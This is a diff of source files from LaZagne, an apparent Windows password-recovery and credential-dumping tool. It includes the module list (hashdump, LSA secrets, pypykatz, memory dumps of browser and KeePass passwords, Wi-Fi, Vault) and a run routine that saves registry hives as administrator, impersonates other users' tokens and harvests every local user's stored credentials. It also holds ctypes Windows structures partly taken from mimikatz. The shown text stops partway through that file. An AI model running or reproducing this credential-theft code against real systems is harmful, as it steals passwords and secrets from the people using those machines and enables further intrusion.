Pidgin(),
|
||||
Skype(),
|
||||
PSI(),
|
||||
|
||||
# Databases
|
||||
Dbvisualizer(),
|
||||
Squirrel(),
|
||||
SQLDeveloper(),
|
||||
Robomongo(),
|
||||
PostgreSQL(),
|
||||
|
||||
# games
|
||||
KalypsoMedia(),
|
||||
GalconFusion(),
|
||||
RoguesTale(),
|
||||
Turba(),
|
||||
|
||||
# Git
|
||||
GitForWindows(),
|
||||
|
||||
# Mails
|
||||
Outlook(),
|
||||
Thunderbird(),
|
||||
|
||||
# Maven
|
||||
MavenRepositories(),
|
||||
|
||||
# Memory
|
||||
MemoryDump(), # retrieve browsers and keepass passwords
|
||||
Keepass(), # should be launched after memory dump
|
||||
|
||||
# Multimedia
|
||||
EyeCON(),
|
||||
|
||||
# Php
|
||||
Composer(),
|
||||
|
||||
# SVN
|
||||
Tortoise(),
|
||||
|
||||
# Sysadmin
|
||||
ApacheDirectoryStudio(),
|
||||
CoreFTP(),
|
||||
Cyberduck(),
|
||||
Filezilla(),
|
||||
FilezillaServer(),
|
||||
FtpNavigator(),
|
||||
KeePassConfig(),
|
||||
Puttycm(),
|
||||
OpenSSHForWindows(),
|
||||
OpenVPN(),
|
||||
IISCentralCertP(),
|
||||
IISAppPool(),
|
||||
RDPManager(),
|
||||
Unattended(),
|
||||
WinSCP(),
|
||||
Vnc(),
|
||||
Wsl(),
|
||||
|
||||
# Wifi
|
||||
Wifi(),
|
||||
|
||||
# Windows
|
||||
Autologon(),
|
||||
Pypykatz(),
|
||||
Cachedump(),
|
||||
Credman(),
|
||||
Hashdump(),
|
||||
LSASecrets(),
|
||||
CredFiles(),
|
||||
Vault(),
|
||||
VaultFiles(),
|
||||
WindowsPassword(),
|
||||
]
|
||||
return module_names + chromium_browsers + firefox_browsers
|
49
lazagne/config/module_info.py
Normal file
49
lazagne/config/module_info.py
Normal file
@ -0,0 +1,49 @@
|
||||
"""
|
||||
name => Name of a class
|
||||
category => windows / browsers / etc
|
||||
options => dictionary
|
||||
- command
|
||||
- action
|
||||
- dest
|
||||
- help
|
||||
|
||||
ex: ('-s', action='store_true', dest='skype', help='skype')
|
||||
- options['command'] = '-s'
|
||||
- options['action'] = 'store_true'
|
||||
- options['dest'] = 'skype'
|
||||
- options['help'] = 'skype'
|
||||
"""
|
||||
|
||||
from lazagne.config.write_output import print_debug
|
||||
|
||||
|
||||
class ModuleInfo(object):
|
||||
|
||||
def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False,
|
||||
system_module=False, dpapi_used=False, only_from_current_user=False):
|
||||
self.name = name
|
||||
self.category = category
|
||||
self.options = {
|
||||
'command': '-{name}'.format(name=self.name),
|
||||
'action': 'store_true',
|
||||
'dest': self.name,
|
||||
'help': '{name} passwords'.format(name=self.name)
|
||||
}
|
||||
self.suboptions = suboptions
|
||||
self.registry_used = registry_used
|
||||
self.system_module = system_module
|
||||
self.winapi_used = winapi_used
|
||||
self.dpapi_used = dpapi_used
|
||||
self.only_from_current_user = only_from_current_user
|
||||
|
||||
def error(self, message):
|
||||
print_debug('ERROR', message)
|
||||
|
||||
def info(self, message):
|
||||
print_debug('INFO', message)
|
||||
|
||||
def debug(self, message):
|
||||
print_debug('DEBUG', message)
|
||||
|
||||
def warning(self, message):
|
||||
print_debug('WARNING', message)
|
261
lazagne/config/run.py
Normal file
261
lazagne/config/run.py
Normal file
@ -0,0 +1,261 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# !/usr/bin/python
|
||||
import ctypes
|
||||
import logging
|
||||
import sys
|
||||
import traceback
|
||||
|
||||
from lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle
|
||||
from lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi
|
||||
from lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved
|
||||
from lazagne.config.execute_cmd import save_hives, delete_hives
|
||||
from lazagne.config.write_output import print_debug, StandardOutput
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.manage_modules import get_categories, get_modules
|
||||
|
||||
# Useful for the Pupy project
|
||||
# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object
|
||||
sys.setrecursionlimit(10000)
|
||||
|
||||
|
||||
def create_module_dic():
|
||||
if constant.modules_dic:
|
||||
return constant.modules_dic
|
||||
|
||||
modules = {}
|
||||
|
||||
# Define a dictionary for all modules
|
||||
for category in get_categories():
|
||||
modules[category] = {}
|
||||
|
||||
# Add all modules to the dictionary
|
||||
for m in get_modules():
|
||||
modules[m.category][m.options['dest']] = m
|
||||
|
||||
constant.modules_dic = modules
|
||||
return modules
|
||||
|
||||
|
||||
def run_module(title, module):
|
||||
"""
|
||||
Run only one module
|
||||
"""
|
||||
try:
|
||||
constant.st.title_info(title.capitalize()) # print title
|
||||
pwd_found = module.run() # run the module
|
||||
constant.st.print_output(title.capitalize(), pwd_found) # print the results
|
||||
|
||||
# Return value - not used but needed
|
||||
yield True, title.capitalize(), pwd_found
|
||||
except Exception:
|
||||
error_message = traceback.format_exc()
|
||||
print_debug('DEBUG', error_message)
|
||||
yield False, title.capitalize(), error_message
|
||||
|
||||
|
||||
def run_modules(module, subcategories={}, system_module=False):
|
||||
"""
|
||||
Run modules inside a category (could be one or multiple modules)
|
||||
"""
|
||||
modules_to_launch = []
|
||||
|
||||
# Launch only a specific module
|
||||
for i in subcategories:
|
||||
if subcategories[i] and i in module:
|
||||
modules_to_launch.append(i)
|
||||
|
||||
# Launch all modules
|
||||
if not modules_to_launch:
|
||||
modules_to_launch = module
|
||||
|
||||
for i in modules_to_launch:
|
||||
# Only current user could access to HKCU registry or use some API that only can be run from the user environment
|
||||
if not constant.is_current_user:
|
||||
if module[i].registry_used or module[i].only_from_current_user:
|
||||
continue
|
||||
|
||||
if system_module ^ module[i].system_module:
|
||||
continue
|
||||
|
||||
if module[i].winapi_used:
|
||||
constant.module_to_exec_at_end['winapi'].append({
|
||||
'title': i,
|
||||
'module': module[i],
|
||||
})
|
||||
continue
|
||||
|
||||
if module[i].dpapi_used:
|
||||
constant.module_to_exec_at_end['dpapi'].append({
|
||||
'title': i,
|
||||
'module': module[i],
|
||||
})
|
||||
continue
|
||||
|
||||
# Run module
|
||||
for m in run_module(title=i, module=module[i]):
|
||||
yield m
|
||||
|
||||
|
||||
def run_category(category_selected, subcategories={}, system_module=False):
|
||||
constant.module_to_exec_at_end = {
|
||||
"winapi": [],
|
||||
"dpapi": [],
|
||||
}
|
||||
modules = create_module_dic()
|
||||
categories = [category_selected] if category_selected != 'all' else get_categories()
|
||||
for category in categories:
|
||||
for r in run_modules(modules[category], subcategories, system_module):
|
||||
yield r
|
||||
|
||||
if not system_module:
|
||||
if constant.is_current_user:
|
||||
# Modules using Windows API (CryptUnprotectData) can be called from the current session
|
||||
for module in constant.module_to_exec_at_end.get('winapi', []):
|
||||
for m in run_module(title=module['title'], module=module['module']):
|
||||
yield m
|
||||
|
||||
if constant.module_to_exec_at_end.get('dpapi', []):
|
||||
if are_masterkeys_retrieved():
|
||||
for module in constant.module_to_exec_at_end.get('dpapi', []):
|
||||
for m in run_module(title=module['title'], module=module['module']):
|
||||
yield m
|
||||
else:
|
||||
if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):
|
||||
if are_masterkeys_retrieved():
|
||||
# Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData
|
||||
for i in ['winapi', 'dpapi']:
|
||||
for module in constant.module_to_exec_at_end.get(i, []):
|
||||
for m in run_module(title=module['title'], module=module['module']):
|
||||
yield m
|
||||
|
||||
|
||||
def run_lazagne(category_selected='all', subcategories={}, password=None):
|
||||
"""
|
||||
Execution Workflow:
|
||||
- If admin:
|
||||
- Execute system modules to retrieve LSA Secrets and user passwords if possible
|
||||
- These secret could be useful for further decryption (e.g Wifi)
|
||||
- If a process of another user is launched try to impersone it (impersonating his token)
|
||||
- TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques
|
||||
- From our user:
|
||||
- Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
|
||||
- Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
|
||||
- If the user password or the dpapi hash is found:
|
||||
- Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
|
||||
- From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
|
||||
- Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
|
||||
- If the user password or the dpapi hash is found:
|
||||
- Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)
|
||||
|
||||
To resume:
|
||||
- Some passwords (e.g Firefox) could be retrieved from any other user
|
||||
- CryptUnprotectData can be called only from our current session
|
||||
- DPAPI Blob can decrypted only if we have the password or the hash of the user
|
||||
"""
|
||||
|
||||
# Useful if this function is called from another tool
|
||||
if password:
|
||||
constant.user_password = password
|
||||
|
||||
if not constant.st:
|
||||
constant.st = StandardOutput()
|
||||
|
||||
# --------- Execute System modules ---------
|
||||
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
|
||||
if save_hives():
|
||||
# System modules (hashdump, lsa secrets, etc.)
|
||||
constant.username = 'SYSTEM'
|
||||
constant.finalResults = {'User': constant.username}
|
||||
constant.system_dpapi = SystemDpapi()
|
||||
|
||||
if logging.getLogger().isEnabledFor(logging.INFO):
|
||||
constant.st.print_user(constant.username)
|
||||
yield 'User', constant.username
|
||||
|
||||
try:
|
||||
for r in run_category(category_selected, subcategories, system_module=True):
|
||||
yield r
|
||||
except: # Catch all kind of exceptions
|
||||
pass
|
||||
finally:
|
||||
delete_hives()
|
||||
|
||||
constant.stdout_result.append(constant.finalResults)
|
||||
|
||||
# ------ Part used for user impersonation ------
|
||||
|
||||
constant.is_current_user = True
|
||||
constant.username = get_username_winapi()
|
||||
if not constant.username.endswith('$'):
|
||||
|
||||
constant.finalResults = {'User': constant.username}
|
||||
constant.st.print_user(constant.username)
|
||||
yield 'User', constant.username
|
||||
|
||||
set_env_variables(user=constant.username)
|
||||
|
||||
for r in run_category(category_selected, subcategories):
|
||||
yield r
|
||||
constant.stdout_result.append(constant.finalResults)
|
||||
|
||||
# Check if admin to impersonate
|
||||
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
|
||||
|
||||
# --------- Impersonation using tokens ---------
|
||||
|
||||
sids = list_sids()
|
||||
impersonate_users = {}
|
||||
impersonated_user = [constant.username]
|
||||
|
||||
for sid in sids:
|
||||
# Not save the current user's SIDs and not impersonate system user
|
||||
if constant.username != sid[3] and sid[2] != 'S-1-5-18':
|
||||
impersonate_users.setdefault(sid[3], []).append(sid[2])
|
||||
|
||||
for user in impersonate_users:
|
||||
if 'service' in user.lower().strip():
|
||||
continue
|
||||
|
||||
# Do not impersonate the same user twice
|
||||
if user in impersonated_user:
|
||||
continue
|
||||
|
||||
constant.st.print_user(user)
|
||||
yield 'User', user
|
||||
|
||||
constant.finalResults = {'User': user}
|
||||
for sid in impersonate_users[user]:
|
||||
try:
|
||||
set_env_variables(user, to_impersonate=True)
|
||||
if impersonate_sid_long_handle(sid, close=False):
|
||||
impersonated_user.append(user)
|
||||
|
||||
# Launch module wanted
|
||||
for r in run_category(category_selected, subcategories):
|
||||
yield r
|
||||
|
||||
rev2self()
|
||||
constant.stdout_result.append(constant.finalResults)
|
||||
break
|
||||
except Exception:
|
||||
print_debug('DEBUG', traceback.format_exc())
|
||||
|
||||
# --------- Impersonation browsing file system ---------
|
||||
|
||||
constant.is_current_user = False
|
||||
# Ready to check for all users remaining
|
||||
all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])
|
||||
for user in all_users:
|
||||
# Fix value by default for user environment (APPDATA and USERPROFILE)
|
||||
set_env_variables(user, to_impersonate=True)
|
||||
constant.st.print_user(user)
|
||||
|
||||
constant.username = user
|
||||
constant.finalResults = {'User': user}
|
||||
yield 'User', user
|
||||
|
||||
# Retrieve passwords that need high privileges
|
||||
for r in run_category(category_selected, subcategories):
|
||||
yield r
|
||||
|
||||
constant.stdout_result.append(constant.finalResults)
|
81
lazagne/config/users.py
Normal file
81
lazagne/config/users.py
Normal file
@ -0,0 +1,81 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# !/usr/bin/python
|
||||
import os
|
||||
import ctypes
|
||||
import sys
|
||||
|
||||
#from lazagne.config.winstructure import get_os_version
|
||||
from lazagne.config.constant import constant
|
||||
|
||||
|
||||
def get_user_list_on_filesystem(impersonated_user=[]):
|
||||
"""
|
||||
Get user list to retrieve their passwords
|
||||
"""
|
||||
# Check users existing on the system (get only directories)
|
||||
user_path = u'{drive}:\\Users'.format(drive=constant.drive)
|
||||
#if float(get_os_version()) < 6:
|
||||
# user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive)
|
||||
|
||||
all_users = []
|
||||
if os.path.exists(user_path):
|
||||
all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))]
|
||||
|
||||
# Remove default users
|
||||
for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']:
|
||||
if user in all_users:
|
||||
all_users.remove(user)
|
||||
|
||||
# Removing user that have already been impersonated
|
||||
for imper_user in impersonated_user:
|
||||
if imper_user in all_users:
|
||||
all_users.remove(imper_user)
|
||||
|
||||
return all_users
|
||||
|
||||
|
||||
def set_env_variables(user, to_impersonate=False):
|
||||
# Restore template path
|
||||
template_path = {
|
||||
'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
|
||||
'USERPROFILE': u'{drive}:\\Users\\{user}\\',
|
||||
'HOMEDRIVE': u'{drive}:',
|
||||
'HOMEPATH': u'{drive}:\\Users\\{user}',
|
||||
'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
|
||||
'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
|
||||
'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
|
||||
}
|
||||
|
||||
constant.profile = template_path
|
||||
if not to_impersonate:
|
||||
# Get value from environment variables
|
||||
for env in constant.profile:
|
||||
if os.environ.get(env):
|
||||
try:
|
||||
constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding())
|
||||
except Exception:
|
||||
constant.profile[env] = os.environ.get(env)
|
||||
|
||||
# Replace "drive" and "user" with the correct values
|
||||
for env in constant.profile:
|
||||
constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user)
|
||||
|
||||
|
||||
def get_username_winapi():
|
||||
GetUserNameW = ctypes.windll.advapi32.GetUserNameW
|
||||
GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)]
|
||||
GetUserNameW.restype = ctypes.c_uint
|
||||
|
||||
_buffer = ctypes.create_unicode_buffer(1)
|
||||
size = ctypes.c_uint(len(_buffer))
|
||||
while not GetUserNameW(_buffer, ctypes.byref(size)):
|
||||
# WinError.h
|
||||
# define ERROR_INSUFFICIENT_BUFFER 122L // dderror
|
||||
if ctypes.GetLastError() == 122:
|
||||
_buffer = ctypes.create_unicode_buffer(len(_buffer)*2)
|
||||
size.value = len(_buffer)
|
||||
|
||||
else:
|
||||
return os.getenv('username') # Unusual error
|
||||
|
||||
return _buffer.value
|
715
lazagne/config/winstructure.py
Normal file
715
lazagne/config/winstructure.py
Normal file
@ -0,0 +1,715 @@
|
||||
# Vault Structure has been taken from mimikatz
|
||||
from ctypes.wintypes import *
|
||||
from ctypes import *
|
||||
|
||||
import sys
|
||||
import os
|
||||
|
||||
try:
|
||||
import _winreg as winreg
|
||||
except ImportError:
|
||||
import winreg
|
||||
|
||||
LPTSTR = LPSTR
|
||||
LPCTSTR = LPSTR
|
||||
PHANDLE = POINTER(HANDLE)
|
||||
HANDLE = LPVOID
|
||||
LPDWORD = POINTER(DWORD)
|
||||
PVOID = c_void_p
|
||||
INVALID_HANDLE_VALUE = c_void_p(-1).value
|
||||
NTSTATUS = ULONG()
|
||||
PWSTR = c_wchar_p
|
||||
LPWSTR = c_wchar_p
|
||||
PBYTE = POINTER(BYTE)
|
||||
LPBYTE = POINTER(BYTE)
|
||||
PSID = PVOID
|
||||
LONG = c_long
|
||||
WORD = c_uint16
|
||||
|
||||
# #############################- Constants ##############################
|
||||
|
||||
# Credential Manager
|
||||
CRYPTPROTECT_UI_FORBIDDEN = 0x01
|
||||
CRED_TYPE_GENERIC = 0x1
|
||||
CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4
|
||||
|
||||
# Regedit
|
||||
HKEY_CURRENT_USER = -2147483647
|
||||
HKEY_LOCAL_MACHINE = -2147483646
|
||||
KEY_READ = 131097
|
||||
KEY_ENUMERATE_SUB_KEYS = 8
|
||||
KEY_QUERY_VALUE = 1
|
||||
|
||||
# custom key to read registry (not from msdn)
|
||||
ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE
|
||||
|
||||
# Token manipulation
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
STANDARD_RIGHTS_REQUIRED = 0x000F0000
|
||||
READ_CONTROL = 0x00020000
|
||||
STANDARD_RIGHTS_READ = READ_CONTROL
|
||||
TOKEN_ASSIGN_PRIMARY = 0x0001
|
||||
TOKEN_DUPLICATE = 0x0002
|
||||
TOKEN_IMPERSONATE = 0x0004
|
||||
TOKEN_QUERY = 0x0008
|
||||
TOKEN_QUERY_SOURCE = 0x0010
|
||||
TOKEN_ADJUST_PRIVILEGES = 0x0020
|
||||
TOKEN_ADJUST_GROUPS = 0x0040
|
||||
TOKEN_ADJUST_DEFAULT = 0x0080
|
||||
TOKEN_ADJUST_SESSIONID = 0x0100
|
||||
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
|
||||
tokenprivs = (
|
||||
TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (
|
||||
131072 | 4))
|
||||
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
|
||||
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
|
||||
TOKEN_ADJUST_SESSIONID)
|
||||
|
||||
SE_DEBUG_PRIVILEGE = 20
|
||||
|
||||
|
||||
# ############################# Structures ##############################
|
||||
|
||||
class CREDENTIAL_ATTRIBUTE(Structure):
|
||||
_fields_ = [
|
||||
('Keyword', LPSTR),
|
||||
('Flags', DWORD),
|
||||
('ValueSize', DWORD),
|
||||
('Value', LPBYTE)
|
||||
]
|
||||
|
||||
|
||||
PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)
|
||||
|
||||
|
||||
class CREDENTIAL(Structure):
|
||||
_fields_ = [
|
||||
('Flags', DWORD),
|
||||
('Type', DWORD),
|
||||
('TargetName', LPSTR),
|
||||
('Comment', LPSTR),
|
||||
('LastWritten', FILETIME),
|
||||
('CredentialBlobSize', DWORD),
|
||||
# ('CredentialBlob', POINTER(BYTE)),
|
||||
('CredentialBlob', POINTER(c_char)),
|
||||
('Persist', DWORD),
|
||||
('AttributeCount', DWORD),
|
||||
('Attributes', PCREDENTIAL_ATTRIBUTE),
|
||||
('TargetAlias', LPSTR),
|
||||
('UserName', LPSTR)
|
||||
]
|
||||
|
||||
|
||||
PCREDENTIAL = POINTER(CREDENTIAL)
|
||||
|
||||
|
||||
class DATA_BLOB(Structure):
|
||||
_fields_ = [
|
||||
('cbData', DWORD),
|
||||
('pbData', POINTER(c_char))
|
||||
]
|
||||
|
||||
|
||||
class GUID(Structure):
|
||||
_fields_ = [
|
||||
("data1", DWORD),
|
||||
("data2", WORD),
|
||||
("data3", WORD),
|
||||
("data4", BYTE * 6)
|
||||
]
|
||||
|
||||
|
||||
LPGUID = POINTER(GUID)
|
||||
|
||||
|
||||
class VAULT_CREDENTIAL_ATTRIBUTEW(Structure):
|
||||
_fields_ = [
|
||||
('keyword', LPWSTR),
|
||||
('flags', DWORD),
|
||||
('badAlign', DWORD),
|
||||
('valueSize', DWORD),
|
||||
('value', LPBYTE),
|
||||
]
|
||||
|
||||
|
||||
PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)
|
||||
|
||||
|
||||
class VAULT_BYTE_BUFFER(Structure):
|
||||
_fields_ = [
|
||||
('length', DWORD),
|
||||
('value', PBYTE),
|
||||
]
|
||||
|
||||
|
||||
class DATA(Structure):
|
||||
_fields_ = [
|
||||
# ('boolean', BOOL),
|
||||
# ('short', SHORT),
|
||||
# ('unsignedShort', WORD),
|
||||
# ('int', LONG),
|
||||
# ('unsignedInt', ULONG),
|
||||
# ('double', DOUBLE),
|
||||
('guid', GUID),
|
||||
('string', LPWSTR),
|
||||
('byteArray', VAULT_BYTE_BUFFER),
|
||||
('protectedArray', VAULT_BYTE_BUFFER),
|
||||
('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW),
|
||||
# ('Sid', PSID)
|
||||
('sid', DWORD)
|
||||
]
|
||||
|
||||
|
||||
class Flag(Structure):
|
||||
_fields_ = [
|
||||
('0x00', DWORD),
|
||||
('0x01', DWORD),
|
||||
('0x02', DWORD),
|
||||
('0x03', DWORD),
|
||||
('0x04', DWORD),
|
||||
('0x05', DWORD),
|
||||
('0x06', DWORD),
|
||||
('0x07', DWORD),
|
||||
('0x08', DWORD),
|
||||
('0x09', DWORD),
|
||||
('0x0a', DWORD),
|
||||
('0x0b', DWORD),
|
||||
('0x0c', DWORD),
|
||||
('0x0d', DWORD)
|
||||
]
|
||||
|
||||
|
||||
class VAULT_ITEM_DATA(Structure):
|
||||
_fields_ = [
|
||||
# ('schemaElementId', DWORD),
|
||||
# ('unk0', DWORD),
|
||||
# ('Type', DWORD),
|
||||
# ('unk1', DWORD),
|
||||
('data', DATA),
|
||||
]
|
||||
|
||||
|
||||
PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)
|
||||
|
||||
|
||||
# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L157
|
||||
class VAULT_ITEM_WIN8(Structure):
|
||||
_fields_ = [
|
||||
('id', GUID),
|
||||
('pName', PWSTR),
|
||||
('pResource', PVAULT_ITEM_DATA),
|
||||
('pUsername', PVAULT_ITEM_DATA),
|
||||
('pPassword', PVAULT_ITEM_DATA),
|
||||
('pPackageSid', PVAULT_ITEM_DATA),
|
||||
('LastWritten', FILETIME),
|
||||
('Flags', DWORD),
|
||||
('cbProperties', DWORD),
|
||||
('Properties', PVAULT_ITEM_DATA),
|
||||
]
|
||||
|
||||
|
||||
PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)
|
||||
|
||||
|
||||
# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L145
|
||||
class VAULT_ITEM_WIN7(Structure):
|
||||
_fields_ = [
|
||||
('id', GUID),
|
||||
('pName', PWSTR),
|
||||
('pResource', PVAULT_ITEM_DATA),
|
||||
('pUsername', PVAULT_ITEM_DATA),
|
||||
('pPassword', PVAULT_ITEM_DATA),
|
||||
('LastWritten', FILETIME),
|
||||
('Flags', DWORD),
|
||||
('cbProperties', DWORD),
|
||||
('Properties', PVAULT_ITEM_DATA),
|
||||
]
|
||||
|
||||
|
||||
PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7)
|
||||
|
||||
class OSVERSIONINFOEXW(Structure):
|
||||
_fields_ = [
|
||||
('dwOSVersionInfoSize', c_ulong),
|
||||
('dwMajorVersion', c_ulong),
|
||||
('dwMinorVersion', c_ulong),
|
||||
('dwBuildNumber', c_ulong),
|
||||
('dwPlatformId', c_ulong),
|
||||
('szCSDVersion', c_wchar * 128),
|
||||
('wServicePackMajor', c_ushort),
|
||||
('wServicePackMinor', c_ushort),
|
||||
('wSuiteMask', c_ushort),
|
||||
('wProductType', c_byte),
|
||||
('wReserved', c_byte)
|
||||
]
|
||||
|
||||
|
||||
class CRYPTPROTECT_PROMPTSTRUCT(Structure):
|
||||
_fields_ = [
|
||||
('cbSize', DWORD),
|
||||
('dwPromptFlags', DWORD),
|
||||
('hwndApp', HWND),
|
||||
('szPrompt', LPCWSTR),
|
||||
]
|
||||
|
||||
|
||||
PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
|
||||
|
||||
|
||||
class LUID(Structure):
|
||||
_fields_ = [
|
||||
("LowPart", DWORD),
|
||||
("HighPart", LONG),
|
||||
]
|
||||
|
||||
|
||||
PLUID = POINTER(LUID)
|
||||
|
||||
|
||||
class SID_AND_ATTRIBUTES(Structure):
|
||||
_fields_ = [
|
||||
("Sid", PSID),
|
||||
("Attributes", DWORD),
|
||||
]
|
||||
|
||||
|
||||
class TOKEN_USER(Structure):
|
||||
_fields_ = [
|
||||
("User", SID_AND_ATTRIBUTES), ]
|
||||
|
||||
|
||||
class LUID_AND_ATTRIBUTES(Structure):
|
||||
_fields_ = [
|
||||
("Luid", LUID),
|
||||
("Attributes", DWORD),
|
||||
]
|
||||
|
||||
|
||||
class TOKEN_PRIVILEGES(Structure):
|
||||
_fields_ = [
|
||||
("PrivilegeCount", DWORD),
|
||||
("Privileges", LUID_AND_ATTRIBUTES),
|
||||
]
|
||||
|
||||
|
||||
PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
|
||||
|
||||
|
||||
class SECURITY_ATTRIBUTES(Structure):
|
||||
_fields_ = [
|
||||
("nLength", DWORD),
|
||||
("lpSecurityDescriptor", LPVOID),
|
||||
("bInheritHandle", BOOL),
|
||||
]
|
||||
|
||||
|
||||
PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
|
||||
|
||||
|
||||
class SID_NAME_USE(DWORD):
|
||||
_sid_types = dict(enumerate('''
|
||||
User Group Domain Alias WellKnownGroup DeletedAccount
|
||||
Invalid Unknown Computer Label'''.split(), 1))
|
||||
|
||||
def __init__(self, value=None):
|
||||
if value is not None:
|
||||
if value not in self.sid_types:
|
||||
raise ValueError('invalid SID type')
|
||||
DWORD.__init__(value)
|
||||
|
||||
def __str__(self):
|
||||
if self.value not in self._sid_types:
|
||||
raise ValueError('invalid SID type')
|
||||
return self._sid_types[self.value]
|
||||
|
||||
def __repr__(self):
|
||||
return 'SID_NAME_USE(%s)' % self.value
|
||||
|
||||
|
||||
PSID_NAME_USE = POINTER(SID_NAME_USE)
|
||||
|
||||
# ############################# Load dlls ##############################
|
||||
|
||||
advapi32 = WinDLL('advapi32', use_last_error=True)
|
||||
crypt32 = WinDLL('crypt32', use_last_error=True)
|
||||
kernel32 = WinDLL('kernel32', use_last_error=True)
|
||||
psapi = WinDLL('psapi', use_last_error=True)
|
||||
ntdll = WinDLL('ntdll', use_last_error=True)
|
||||
|
||||
# ############################# Functions ##############################
|
||||
|
||||
RevertToSelf = advapi32.RevertToSelf
|
||||
RevertToSelf.restype = BOOL
|
||||
RevertToSelf.argtypes = []
|
||||
|
||||
ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
|
||||
ImpersonateLoggedOnUser.restype = BOOL
|
||||
ImpersonateLoggedOnUser.argtypes = [HANDLE]
|
||||
|
||||
DuplicateTokenEx = advapi32.DuplicateTokenEx
|
||||
DuplicateTokenEx.restype = BOOL
|
||||
DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]
|
||||
|
||||
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
|
||||
AdjustTokenPrivileges.restype = BOOL
|
||||
AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]
|
||||
|
||||
LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA
|
||||
LookupPrivilegeValueA.restype = BOOL
|
||||
LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID]
|
||||
|
||||
ConvertSidToStringSid = advapi32.ConvertSidToStringSidW
|
||||
ConvertSidToStringSid.restype = BOOL
|
||||
ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)]
|
||||
|
||||
LookupAccountSid = advapi32.LookupAccountSidW
|
||||
LookupAccountSid.restype = BOOL
|
||||
LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE]
|
||||
|
||||
LocalAlloc = kernel32.LocalAlloc
|
||||
LocalAlloc.restype = HANDLE
|
||||
LocalAlloc.argtypes = [PSID, DWORD]
|
||||
|
||||
GetTokenInformation = advapi32.GetTokenInformation
|
||||
GetTokenInformation.restype = BOOL
|
||||
GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]
|
||||
|
||||
OpenProcess = kernel32.OpenProcess
|
||||
OpenProcess.restype = HANDLE
|
||||
OpenProcess.argtypes = [DWORD, BOOL, DWORD]
|
||||
|
||||
OpenProcessToken = advapi32.OpenProcessToken
|
||||
OpenProcessToken.restype = BOOL
|
||||
OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]
|
||||
|
||||
CloseHandle = kernel32.CloseHandle
|
||||
CloseHandle.restype = BOOL
|
||||
CloseHandle.argtypes = [HANDLE]
|
||||
|
